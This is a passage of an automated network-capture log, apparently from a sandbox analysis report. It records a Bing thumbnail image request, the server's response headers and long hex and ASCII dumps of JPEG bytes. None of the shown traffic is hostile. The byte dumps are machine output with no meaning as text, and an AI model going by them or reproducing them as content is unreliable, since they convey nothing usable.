Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:24:488C
2024-11-28 01:27:18 UTC	16384	IN	Data Raw: 7a 0f 5a 1b b7 24 0f 6e f4 a0 10 d9 38 c7 6a 29 ec c0 0f 1f 4f 7a 09 c7 38 3c 76 14 60 6e ce 39 a2 a4 04 42 0a e4 67 f1 a4 52 bb c8 07 e6 c7 34 ea 14 10 d8 24 73 eb 4e fb 80 63 27 3c f1 48 c0 95 c0 38 39 eb 41 cf 6c 63 bd 2d 1d 80 28 a2 8a 40 4a 76 6e f9 b8 fa d2 80 17 b7 14 8d b4 65 8f 53 4d 57 ca 10 5b 2d d8 57 2f 2b 68 e4 e4 72 5a 6c 3c 8c f1 b7 22 98 d9 1f 28 6f a0 a5 62 42 60 8c 1e d8 a3 fe 59 e7 38 3f de 3d aa a2 ac d0 25 ca af d0 6b 33 0e 0f 14 d0 4f f7 4d 2b 9c f1 df d6 88 b9 60 57 04 8a d9 34 91 d1 15 cb 0b d8 40 ec 38 e4 63 d6 9d c9 65 de 09 07 d2 8c 97 7d a7 07 1d 71 da 9e c7 6e 06 7a 8e 9d ea 24 ed 6b 2d 4c e5 24 9a d3 51 24 00 30 60 b9 23 d3 d2 9c c5 59 48 fb de a2 9a ce a3 19 6d 83 3d 3b d3 09 3d 4d 25 06 d2 77 22 34 dc 9d 98 f8 db 0a 76 2a Data Ascii: zZ$n8j)Oz8<v`n9BgR4$sNc'<H89Alc-(@JvneSMW[-W/+hrZl<"(obB`Y8?=%k3OM+`W4@8ce}qnz$k-L$Q$0`#YHm=;=M%w"4v*
2024-11-28 01:27:18 UTC	16384	IN	Data Raw: 20 b6 01 c9 1d a9 fa 08 08 07 92 b4 50 41 00 13 de 8a 40 14 6d 1d b8 34 51 40 09 1f 0b 8f 9b bf de a5 03 19 f7 39 e7 de 80 31 eb f8 d0 39 6c 0e 4d 36 f5 00 a4 61 95 e9 9e 7a 67 14 31 01 b0 48 18 eb 9a 56 20 72 4e 07 ad 0a fd 80 28 a2 8a 40 00 7c c7 03 9f 6a 73 2b 18 f7 1f a0 a9 31 b7 81 51 cd 86 60 dd 40 18 e0 f7 fa 56 31 9f 34 bb 1c fe d5 ce 6a c3 00 03 ae 4e 3d 69 4f f9 cd 0b cf 38 a1 86 41 18 cf b5 6f be e7 40 bc 76 e2 84 04 f1 de 97 67 c9 92 d8 f6 a7 42 00 5c 8e b5 94 a4 92 6d 19 ca a2 50 6d 04 61 d1 8e 57 72 f6 23 ad 18 ee 10 10 7d 4d 46 d9 33 36 e1 8f 43 46 17 70 00 f1 8f 4a 5c b7 d7 fc c9 e4 be ad fe 1f e4 c1 f2 38 08 41 cf 73 da 83 bb 80 a1 49 26 9c e3 0a 3b fb d3 48 cb 00 09 1c 82 71 5a 41 e8 69 17 75 71 eb 1b 95 f9 b8 a7 04 03 90 39 a4 54 2c e0 Data Ascii: PA@m4Q@919lM6azg1HV rN(@\|js+1Q`@V14jN=iO8Ao@vgB\mPmaWr#}MF36CFpJ\8AsI&;HqZAiuq9T,
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: d0 75 ce 29 d1 db a9 c6 45 3a 58 06 dc 63 e9 55 a9 37 57 20 92 78 4f 23 91 8a 82 59 14 72 29 f2 41 b7 83 d6 a1 68 c8 a3 52 95 88 e4 90 8c 90 6a 07 9d 8f 1c 55 a3 18 3c 53 5a 05 da 47 7a 5a 96 ac 67 ca 24 6c 90 7f 0c d4 4c b2 74 04 e3 d2 b4 cc 18 e7 03 34 18 01 fe 1c 1f d6 a7 52 f9 91 95 fb ce a7 9a 72 07 ed 57 fe cf 8e 71 4a 20 c7 38 a9 57 1f 32 2b 47 1b 18 fe 94 34 24 ae 0d 5c 55 23 8c 53 bc a0 57 35 44 f3 19 72 c1 8f 71 50 49 06 78 ad 96 88 74 c7 35 14 90 80 dd 3f 2a 5b 0d 48 c5 7b 7c 2e 07 5a 8c c1 8e 47 5a d7 78 7e 5e 95 13 c0 3a e2 8b 59 97 cc 64 98 c8 e9 4b 1c 44 76 ad 23 6f ea 33 49 e4 7b 50 3e 62 8a c5 df 6d 49 e5 1f ef 55 bf 23 1d b9 a7 ac 39 f4 a0 57 2a 2c 47 e9 4e 58 33 c9 19 ab 89 09 0d c0 cd 4c b0 f6 c5 02 e6 28 ac 55 0e a3 61 69 a8 e9 b7 5a Data Ascii: u)E:XcU7W xO#Yr)AhRjU<SZGzZg$lLt4RrWqJ 8W2+G4$\U#SW5DrqPIxt5?[H{\|.ZGZx~^:YdKDv#o3I{P>bmIU#9W,GNX3L(UaiZ
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: f4 ee 4e d5 c1 7d a7 6e 0f 7f 6a 23 8b 2a ae 0b 7d ee c3 d3 de a4 61 b2 35 40 9b ba 96 66 cf 00 f7 07 b1 ac a5 28 a7 64 82 2b 55 15 ea 47 b2 47 6d bb c2 64 1e 3a 0f a5 7a cf ec d7 f0 a9 fc 65 78 35 ed 76 26 8b 40 b0 71 b5 36 63 fb 41 c1 e5 15 bb 81 c6 4f f5 ac cf 82 7f 0a b5 bf 88 1a 9c 37 73 47 3d 97 87 23 72 2e 75 16 51 86 2b 8c a4 79 e5 98 f4 e3 a7 7a fa ce d2 da cf 4c d3 61 d3 f4 eb 75 b6 b4 b5 8c 47 6f 02 74 45 03 18 e3 b9 eb 9e e6 b9 2b 55 6f 44 7a d8 3a 1c a9 4a 7f 24 48 02 24 6b 14 51 c6 91 c4 a1 23 89 06 11 14 0c 05 51 d8 01 51 ab 6d 52 4e 3d be b4 c6 94 a7 3f 89 15 17 99 bb a0 20 67 83 5c ca cb 43 d2 6c 9d 64 0c 30 0e d6 fc c1 a0 97 3c b6 38 1d 4f 7a ae 8d 96 fa 73 c7 7a 95 27 06 51 b8 7f 86 69 5c a4 91 20 0d bb 6a e7 23 ae 2a cc 28 fe 5e 08 65 Data Ascii: N}nj#}a5@f(d+UGGmd:zex5v&@q6cAO7sG=#r.uQ+yzLauGotE+UoDz:J$H$kQ#QQmRN=? g\Cld0<8Ozsz'Qi\ j#(^e
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 7b 8c e3 a5 2a 72 ba d4 24 a3 46 ce d6 23 03 2a 36 82 31 8c 9d dd 6a 66 66 65 1b ca b8 1e 8d 8e 7f 1a 95 51 42 03 e5 89 18 f0 73 db 1f d2 a1 ce c7 0a 06 3a e4 11 91 8a cd 34 ee d1 aa a8 aa a0 52 c5 7e 6c 11 ee 72 69 c0 65 72 0f 3e f4 aa 01 e4 81 81 da 9c aa 79 61 b8 71 9e 2a 74 7a 9a 5e da 23 dc bf 61 1b 2f 3b e2 c6 a5 a8 10 db 6c 74 57 04 8f bb b9 dd 40 07 f0 04 d7 d5 11 f7 e9 f5 af 10 fd 86 bc 38 da 67 c3 ad 4b c5 4d 32 b3 78 82 e4 41 14 4b 9c c7 1c 2c 41 2d ee 49 3d 2b db a3 20 2f 18 ae 2a 92 bc 99 e8 47 48 a4 48 4f 41 4b d1 69 8a 47 4e d4 f5 3b ab 2e 83 b0 e1 c2 e6 9c bf ce 98 00 dd 8e f4 e1 c7 d2 a8 63 94 63 ae da 70 1f 35 22 f3 4e 07 b7 af 73 40 75 0e 76 92 7a 7b d2 f5 e2 91 7e ef d0 f7 a7 63 d7 af 5a 40 0a 3b 52 f2 3a 52 81 9e b4 60 0e 9f 9d 17 18 Data Ascii: {r$F#61jffeQBs:4R~lrier>yaqtz^#a/;ltW@8gKM2xAK,A-I=+ /GHHOAKiGN;.ccp5"Ns@uvz{~cZ@;R:R`
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: a4 3f 74 12 33 c5 3e 1b 3b 99 38 8a 26 66 e9 8e f5 a2 94 7a 12 ee 2a ca db 78 35 34 6e a5 70 fc fb e6 9d 1e 99 7d bf 0f 6e 54 7a e4 11 57 ed f4 19 59 b7 37 23 d0 1f eb 49 d4 80 8a 21 d8 f4 63 c7 e9 52 c9 76 c6 13 11 c1 52 3d 2b 45 6d ec 15 4a 3c 7b 02 64 70 72 49 f7 cd 67 ea 42 dc 30 31 2e 07 a6 72 7f 1a 23 66 c0 a4 c3 b0 a6 9e 3d 29 cd 92 de d4 ca d4 42 b4 61 97 9a 89 93 1c 54 99 23 a7 4a 6b 1e c6 9a 11 1e d1 fd ea 5c fe 74 e2 31 48 c0 f1 8c 7d 69 89 86 71 d3 9a 76 4e ef 63 4d c1 a7 2e 4f e3 40 58 72 9a 7f a5 31 45 48 bd 2a 46 2a 83 b7 14 a4 52 01 8e 4d 2a 92 16 80 14 03 b7 27 8a 4c 63 93 cd 38 1f 97 f9 51 93 f5 a0 43 7a 36 0d 3b 20 0c 77 a4 c0 1c d1 83 de 81 68 3c 1a 76 3d 2a 30 48 a7 ab 1a 07 d0 7f d6 97 b8 c5 37 3e ff 00 85 28 fb b8 aa 10 e0 3e 5c 75 Data Ascii: ?t3>;8&fzx54np}nTzWY7#I!cRvR=+EmJ<{dprIgB01.r#f=)BaT#Jk\t1H}iqvNcM.O@Xr1EHFRM'Lc8QCz6; wh<v=*0H7>(>\u
2024-11-28 01:27:19 UTC	16065	IN	Data Raw: 4a a1 8c 78 18 39 3d 07 5a 6f 02 30 7a 92 73 9a 50 73 18 29 91 83 d7 be 68 e6 d0 85 06 2b 00 31 b4 1e 9c 9f 7f 4a 4c e1 c8 c3 74 f5 ef f5 a7 04 f9 7e f8 19 1d cf 7f a5 34 e0 2a a6 30 7d ab 48 ca e8 36 dc 52 72 b9 31 90 7d aa 50 14 0d f9 3e 98 14 c5 04 31 56 72 bd 33 c6 46 2a 48 40 10 90 c4 64 fa 52 e6 1f 2f 56 3d 57 31 8e a1 b1 81 ef e9 53 46 a0 28 0d 93 82 32 2a 35 f9 94 02 70 9d b1 52 c6 08 62 07 38 e0 d6 72 91 71 83 b9 28 56 e9 d3 df d2 8c 67 9e e2 82 70 d8 23 91 4a a7 2e 48 3d 46 2b 3b ab 9a 02 85 28 30 1b 39 fc ea 4d b9 6c 16 5c d2 2a e7 d3 23 a7 ff 00 5a 9d 1e 7a 01 c0 ed dc d1 27 64 1b 8b 18 6e 70 00 c1 c7 ad 3d 7e 57 00 26 49 e6 91 5b ea 38 c1 fc 29 e3 1b 78 71 c7 38 f4 ac ef dc 64 8a 73 82 e9 d3 d2 9e a0 07 00 ee 0a 79 15 0c 63 6f 1b f0 4f 5a 91 Data Ascii: Jx9=Zo0zsPs)h+1JLt~40}H6Rr1}P>1Vr3FH@dR/V=W1SF(25pRb8rq(Vgp#J.H=F+;(09Ml\#Zz'dnp=~W&I[8)xq8dsycoOZ
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 4b f6 8e b8 37 bf 1d 3c 44 c1 98 aa dc 2c 20 8e 76 85 8d 57 1f 85 7a 59 6d 3f de 49 f6 47 93 9b 3e 5a 2a 37 d1 b3 84 62 32 36 96 dd c6 dc ff 00 2a 54 de ac 09 1f 30 e8 0f f8 54 fe 4c 2f 29 00 30 3d 71 d3 fa 54 72 18 56 5f 97 ee 8e 06 df 5f 7c f5 af 6a 12 57 3e 7e 75 14 e3 68 a0 98 23 ae 53 39 38 c9 e8 a0 ff 00 2a 74 e8 9b 49 4c f1 d4 00 48 a7 6c 44 8c 83 2c 9b 49 f9 b6 8e 33 ef 51 ed 41 95 3b 8a f3 86 07 8c 0e e4 7a 53 bf 63 9e 2d 35 69 09 6e e0 02 4c 61 b8 e8 73 8f c6 a4 b3 1f 3b 6f 83 ae 48 38 3c 7b 73 4a aa a3 96 94 e3 bf 18 07 e9 45 bb 49 23 6e 62 cc 17 a2 9f 5f fe b5 29 4a e9 b4 57 32 49 a6 39 72 1d 8b 1c 70 39 90 60 8f 6c 8e 31 ed 50 bd c3 33 91 8c a9 38 23 d4 54 d3 9f 32 32 0b 6d e4 12 70 48 c5 36 28 e3 89 41 f3 8a 87 18 c8 1d 7f 0c 76 ac d5 96 e5 Data Ascii: K7<D, vWzYm?IG>Z7b26T0TL/)0=qTrV__\|jW>~uh#S98*tILHlD,I3QA;zSc-5inLas;oH8<{sJEI#nb_)JW2I9rp9`l1P38#T22mpH6(Av
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 69 6e f5 77 8b e6 c4 85 47 52 83 3c fd 3a d7 18 da c5 ac 49 b2 1b d2 be 9b 46 33 53 69 9a dd c3 70 ce 1b 2d d7 da b1 f6 52 4b 62 3d 8a b9 d1 c7 e2 78 3c e3 17 95 34 af 9f 98 88 88 3f a8 ad 18 75 59 82 ab 5b c4 53 77 4f 35 7f a5 65 5a 6a 41 d3 64 e4 6e 6f 45 c6 6a 29 ac 92 e5 8f 95 76 61 53 cb 1a 8e 54 dd ac 4b a6 ba e8 6e dc 78 95 ed 24 11 be 63 90 1e 7b 0f 7a 6d c7 8c dd 1b 02 48 5d 9b a7 42 7a 57 21 a8 59 5c c3 27 cd 3c 97 71 b7 42 0e 7a fb d7 3b 7e 24 5b a6 52 92 46 aa 78 c7 20 0f ad 6d 4e 8c 64 1e c6 0d 1e 99 07 8c 6f 54 80 f0 79 aa dd 57 03 0b f4 35 b3 a2 f8 98 4c ea cd 14 91 fb 1e 33 5e 41 67 ac cb 6a e1 56 5d cb ee 32 0f e7 5b 56 7e 31 92 38 82 1f 2c 63 83 f2 8f e7 d7 35 53 c3 ce da 22 25 46 0f 63 d8 6d 2f 6d 26 6d f9 2a 4f d3 02 a5 b8 89 9d 81 8b Data Ascii: inwGR<:IF3Sip-RKb=x<4?uY[SwO5eZjAdnoEj)vaSTKnx$c{zmH]BzW!Y\'<qBz;~$[RFx mNdoTyW5L3^AgjV]2[V~18,c5S"%Fcm/m&m*O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49735	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:18 UTC	346	OUT	GET /th?id=OADD2.10239360432892_19VCX0OIIPQAUNJ24&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 01:27:19 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 695371 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 17970242992C4019B2C38DFBA22D0D19 Ref B: EWR30EDGE0409 Ref C: 2024-11-28T01:27:18Z Date: Thu, 28 Nov 2024 01:27:18 GMT Connection: close
2024-11-28 01:27:19 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 17 c6 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 33 3a 32 36 20 32 31 3a 33 38 3a 34 36 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 24.2 (Windows)2023:03:26 21:38:468
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: fd f4 52 f3 45 00 71 bc d1 cd 49 1c 74 e9 22 fe e5 74 18 90 f3 53 5a c5 44 11 6f ad 08 2d b6 7c f5 2d 95 ca 55 8e 09 3e fd 5c 82 3f dd 6f ab 90 79 69 0e fa 6c ed 1a 43 f2 56 7c ed 94 66 ce bf be a8 ea 79 a4 a6 49 f3 fd ca a1 2b 11 d4 9b 69 f1 c1 3f df f2 6a 78 ec e4 f2 68 e6 42 89 1c 70 6f a9 e3 b6 fd cf cf 57 f4 ab 64 4f bf fb c9 2b 7b ec 31 bd 9d 73 ce b2 4c d6 30 72 39 98 2c f7 fc ff 00 eb 2b 53 c3 fe 5a 4d 5a f6 f6 30 7f 05 5a 83 4c 82 29 b7 a7 fa ca c6 55 53 46 b1 a7 67 a1 b7 e1 98 bf 8f fe 59 d6 e4 9f 24 35 97 a3 fc 90 fc f5 7e 79 7f e7 a5 70 cb 73 aa 2e c8 a1 27 98 d3 6f a7 47 16 ff 00 bf 56 fc d8 e9 92 2f f7 ff 00 77 4a e2 b1 5e 39 76 53 e7 f2 de 1f 9e 8f dc 45 50 5c 5e 79 bf 25 3d 46 60 ea 4b 1d bc de 62 55 58 e5 df 37 c9 fe b2 a4 d4 9b ca f3 13 Data Ascii: REqIt"tSZDo-\|-U>\?oyilCV\|fyI+i?jxhBpoWdO+{1sL0r9,+SZMZ0ZL)USFgY$5~yps.'oGV/wJ^9vSEP\^y%=F`KbUX7
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 50 26 39 2a 4e 6a 18 e9 d4 08 7e fa 5e 6a 37 a2 82 81 e8 a3 77 bd 1b bd e8 24 2a 4e 6a 3a 28 02 4e 69 db a9 91 d1 b2 83 4e 6d 2e 4b 1c 95 2f 9b 55 77 d3 ea 1a b0 45 b6 5a 92 5a 64 8d be a2 dd 4d dd 42 57 28 93 77 bd 3d 1a a2 a2 36 a1 ab 01 63 76 ca 74 6d b2 ab ee f7 a3 77 bd 21 dc d0 dd 1b c3 50 c8 df df a8 e0 97 65 32 4a 9e 51 92 f9 94 d9 1a 9b cd 1c d5 0a e2 6f a3 7d 32 8d de f4 08 7e fa 7e ea 86 8d de f4 01 34 6d b2 ad 41 3e f9 b6 56 7e ef 7a 7a 35 2b 0e e6 bc 17 9f c1 44 f7 32 3d 65 c6 db 29 d2 4b be a3 96 25 73 32 fe 95 79 b3 e4 7a d4 b5 b9 d9 5c e4 6d fb ea 96 3b a9 3c ed 8f 4a 54 93 65 46 69 23 af 8e eb 7c b1 ff 00 d3 4a e8 6c 65 fd cf cf 5c 46 8f 2c 6d 36 ca e8 e3 97 f7 de 7f fc b3 ae 3a 90 57 37 83 d0 d4 f3 7e cf 79 bd e6 fd dd 3e 4d 56 0f b9 58 Data Ascii: P&9Nj~^j7w$Nj:(NiNm.K/UwEZZdMBW(w=6cvtmw!Pe2JQo}2~~4mA>V~zz5+D2=e)K%s2yz\m;<JTeFi#\|Jle\F,m6:W7~y>MVX
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: d5 9c b5 56 35 56 3a 1b 59 63 4f 9d ea d4 9e 5d c7 dc ae 7b f7 9f 73 fe 59 d5 ab 19 64 8b ef d6 12 89 aa 77 34 27 82 0f e3 aa b2 2c 6b 50 cf 2c 9e 77 fa ea 8e 79 69 a4 4b 77 09 27 93 ce f9 2a d4 0d 23 c3 be a2 8e 2d f0 d4 f0 45 fb 9a 6d dc 45 5b a9 f6 7c 95 cf ea 52 ef 9a b6 35 88 bf 73 5c ae a5 73 b2 6a e8 a3 16 d9 95 57 a1 a5 26 a1 b2 1d 95 5f 4d b9 dd 77 ff 00 4c eb 2f ed 32 4b f2 25 6b 68 f6 6f e4 ef 7a d9 c5 45 6a 65 17 29 34 68 4f f3 cd bd 2a 95 d4 1b e1 ab bb 4d 57 91 64 ac a3 b9 6e cc c9 82 c7 7c db eb 53 ec 31 b4 3f 24 35 6b 46 b3 8f ee 79 35 ad 3d 9e cf 9e 89 d6 d7 70 8d 35 63 88 d4 b4 c4 9a 6f 93 f7 75 8d aa d8 fd 92 6d 9f f2 ce bb ad 72 da 3f 27 e4 ae 67 5c 82 49 6d 2b aa 8d 46 ce 7a b4 d5 b6 39 fa 29 cf fe dd 15 da 9d ce 61 b4 ea 28 a6 01 45 Data Ascii: V5V:YcO]{sYdw4',kP,wyiKw'#-EmE[\|R5s\sjW&_MwL/2K%khozEje)4hOMWdn\|S1?$5kFy5=p5coumr?'g\Im+Fz9)a(E
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 6d 1b 7f ab ff 00 5e 9f c4 cb b7 a5 70 da 6c 5a 2d ee 93 6d 7b 06 9b e5 c1 71 1a 5c 47 1c b1 26 ff 00 9a 99 26 99 68 f6 bf f2 0d 87 fe fd 52 8e 1d 72 da c1 2c 4a b9 b3 27 8f e4 7f 0e d8 a5 d4 d6 9f db 91 c9 0d bf 88 e4 b9 bb fb 4f da ed e5 f9 a4 93 6b 2b 7c cb fe ad f6 7f 0f 4a dc 83 c4 be 1e d2 b5 0d 5b c3 7e 1e 9b c3 36 fa 76 ab 6d f6 bd 36 f7 ca 87 ec 97 72 ec df 1c 2f 36 e5 78 f6 ff 00 aa fd ea ab 6f ae 36 3d 32 d3 ee 7d 8e 2f 32 b1 63 d2 93 c9 91 1f 4d ff 00 ae 91 f9 55 a4 21 38 49 4a 2e cd 19 ca a4 27 17 19 2b a6 7a 37 85 7c 43 a6 eb ba 4c 73 a4 d0 c7 77 ff 00 2d 23 fe 0f fb ee b6 7c aa e1 bc 1d 63 1d a7 86 63 8d 3f 77 f6 8f de 49 6d ff 00 3d 3f da af 48 9e 3f df 57 db 61 2b 4e 74 d7 3e e7 c8 e2 a8 42 15 1f b3 d8 cb 92 2a 6e dd 95 72 45 a8 24 5a ec Data Ascii: m^plZ-m{q\G&&hRr,J'Ok+\|J[~6vm6r/6xo6=2}/2cMU!8IJ.'+z7\|CLsw-#\|cc?wIm=?H?Wa+Nt>B*nrE$Z
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 45 ba bd 9b fb 1f 4f b8 9b 51 fb 34 12 5c 4b 12 7f a8 8b fe 5d f6 e3 a4 ad f7 db f0 ab 9a e6 b9 76 fe 19 fb 53 c3 37 f6 8d 95 ef 97 6d 24 5f 22 58 79 8f e6 ec 68 ff 00 8e 37 fe ed 69 1f 72 69 a0 e6 72 4d 1d 06 8f a9 69 3e 20 d2 6e 66 d7 bc 55 a7 db cf e6 79 76 df 6e 8b 67 97 e6 43 b9 64 db fd d0 ff 00 dd 5a f3 5b 7b 39 ed ee ee 60 4b cf 32 3b 7f f5 77 31 7c 9e 62 6f db bb e6 ad b8 f5 a9 f5 8f 16 49 aa 3e 9b a4 c7 75 e6 3c 92 59 45 69 b2 ce df e4 d9 f2 2f f7 7f d9 af 50 f8 5f 2f 87 b5 89 ae 74 ed 53 41 d0 f5 5b 19 2d 9f fb 36 ca fb 64 30 fd bf 62 6f 93 cc 4e 7e 7f e1 4a 8a b5 e2 b4 91 3b 23 c8 2d 2f 11 ff 00 e2 5d 04 3f bb 93 fd 64 72 fd ff 00 fb ea ba 6f ed cb 47 d3 e4 44 d1 f4 98 e7 fb 34 d1 c5 17 d9 3e 49 37 26 c5 f9 59 be f2 7d ea cb d5 6d ac 1f 5c fb Data Ascii: EOQ4\K]vS7m$_"Xyh7irirMi> nfUyvngCdZ[{9`K2;w1\|boI>u<YEi/P_/tSA[-6d0boN~J;#-/]?droGD4>I7&Y}m\
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 0b b3 f9 72 ff 00 cb 36 db bf 35 b9 e1 c6 4f f8 58 7e 24 44 fd e7 fa 36 95 ff 00 a0 4d 5e 4f e3 6d 4e 09 ff 00 6c af f8 47 9e 29 7e dd 27 87 61 b8 d2 6e 65 85 1e 1b 4d b6 d3 f9 ca ff 00 c6 9b d7 d3 8a f8 a5 14 d4 9d ae f4 fc cf af a4 a1 29 72 cd d9 59 f4 ec 7a 3f c3 1f 09 e9 be 05 d0 ee 6c b4 5d 4a 5b dd 37 51 b9 fb 5d 94 92 ca 8f e5 ee 4f b9 e6 2f fa c4 ff 00 6a bc 9f f6 f5 69 3f e1 59 69 3b 3f 77 1f f6 b3 c9 24 7f f6 c7 f8 6b 73 f6 1f 8b 49 7f 81 be 66 8f fe a3 ed 09 1d cc 7e 53 a7 d9 ee 15 3f 7b f2 bf dd ff 00 80 fc 95 93 fb 7a b7 9b f0 9f 4d ff 00 5d e6 47 a9 4d ff 00 2c bf e9 8d 3c 17 bb 8a 5a 75 62 c5 53 49 38 46 49 db aa 3e 7f f8 65 7d 1d bf c4 2f 10 3b c3 34 71 c9 e1 7b 9f 2e 3b 18 bf e3 e3 fe 02 b5 e7 d6 aa ff 00 64 8f f7 df bb f2 eb d0 f4 39 ff Data Ascii: r65OX~$D6M^OmNlG)~'aneM)rYz?l]J[7Q]O/ji?Yi;?w$ksIf~S?{zM]GM,<ZubSI8FI>e}/;4q{.;d9
2024-11-28 01:27:19 UTC	16067	IN	Data Raw: 9c 36 f1 c7 1f 97 1f 95 2e ff 00 e3 fb d5 d7 c7 f3 d7 01 f0 57 57 bb d5 7e 1b d8 bc fa 6d a5 97 97 6c 97 1e 65 b7 fa 99 1e 77 95 d9 15 7f d9 ff 00 d9 eb a4 83 5a f2 a6 d8 f4 b0 29 cb 0d 1f 9f e6 f4 f9 6c 4e 25 f2 d5 69 9d 07 dc a3 cd df 59 b1 df 47 2f dc a7 fd a7 fc e2 ba b9 4c 6e 5f a9 63 9f 65 65 bd ce ca 7c 77 3b a8 e5 0b 9a 9e 7d 33 cf d9 35 50 8e 4a 97 cd a3 94 2e 68 c7 3e f8 69 7c da a1 1c b4 ef 3e a4 65 af 32 a2 9a 4a af e6 d4 52 35 00 51 f1 e5 9f db 7c 1b a9 40 9e 77 9f f6 67 92 db ca fb fe 6f f0 ed af 8d be 28 78 0a 3f 06 43 a4 ff 00 c2 43 0e ad 25 f4 9f bc d5 a4 b6 d3 f6 26 99 fd c8 fc fe 97 32 8f e2 ff 00 6a be d5 f3 2b e7 3f db 66 fb c5 f1 78 b3 44 fb 2c d0 ff 00 61 fd 99 fc bb 6f bf fb dd 9f bc 92 65 e9 b5 7b 55 fc 51 69 f4 26 5f 99 f3 9d 8e Data Ascii: 6.WW~mlewZ)lN%iYG/Ln_cee\|w;}35PJ.h>i\|>e2JR5Q\|@wgo(x?CC%&2j+?fxD,aoe{UQi&_
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 4f 32 4f 33 cb fe 0b 78 bf b8 8e ff 00 7e b2 fc 3f ab ea de 1c d4 3e db a7 7d 92 e2 eb cb 7b 79 2d af ad 12 e7 fd 67 fb 2f ff 00 a1 7d e5 aa 50 41 1b c3 f6 a4 9a 6f 2f fd 5f 97 14 a9 5c 0d 3e 7e 6e 66 be 67 27 3b 35 ec 6f 2f ef 66 b9 9d e6 86 44 8f fe 5d a5 8b 7d 32 d6 e7 ec f3 46 90 43 e6 47 26 c8 e4 8f ca d8 9f f8 ed 52 82 da 3d 43 50 8e 0b 5f 3b fe 79 f9 72 cd fe ae ad 49 04 96 5e 64 13 c3 fe af fd 5c 91 7f cb 3f f7 9b de aa a2 9d 48 a7 ad bd 4a bd d1 d5 c9 73 77 e7 49 75 05 9d dc 7a 3c 97 3e 67 d9 ad a5 f9 23 dd fc 1f bd f9 ea 7b 5d 43 c3 d6 9f 69 9e ca 6f b1 4f 71 6d f6 79 3c bf bf 1f f7 a3 fc 6b 12 d3 55 92 2f 9f fe 26 12 47 1c 9e 64 72 79 bf 3f ff 00 65 51 7d a6 47 f3 3c f9 a6 92 4b 8f f9 76 f2 76 27 cb f3 22 d6 f4 61 7a 4a 16 ba f3 37 8b 45 fd 1e Data Ascii: O2O3x~?>}{y-g/}PAo/_\>~nfg';5o/fD]}2FCG&R=CP_;yrI^d\?HJswIuz<>g#{]CioOqmy<kU/&Gdry?eQ}G<Kvv'"azJ7E
2024-11-28 01:27:19 UTC	16384	IN	Data Raw: 2c 5a 7c 97 b0 4d a4 fd 86 4f f9 09 5b 45 14 cf e5 bb 3f de ff 00 76 b9 7d 1d a0 b7 8a 47 9e 1d 43 fd 22 3f f8 f9 8b e4 f2 eb b2 b1 83 56 8a ef fd 16 19 ad ee a3 b6 79 2d bc ab b4 48 6e 22 fe e3 27 fb d5 cf 3f 88 da 1a 23 5a 4f b0 45 77 1b c1 36 87 24 92 6f fe c9 bd fd f6 cd 9b fe eb f3 5a 5a 1c fa 2a 78 7a e7 ec b3 5a 5b c1 1f ef 2f 6c a2 96 6d f6 72 ac df 2b c5 51 4f 2c 0f 37 ee 34 dd 5a 3f b4 49 e5 de d9 4b 76 93 43 6f b9 3e 6f 97 77 fe 83 46 9b e6 79 31 a4 17 9a b4 7e 5f ee ec ae 62 bb 4d 97 e8 df 71 1d bf f1 da c5 ec 6b 19 33 a3 b1 96 d3 50 d0 ee 7f b5 e1 d3 fc fb df f4 8d 4a 4b 6d 42 64 79 11 7f e5 e6 3f fa 68 1d 37 d6 b7 85 75 79 34 df 10 c7 6a f3 69 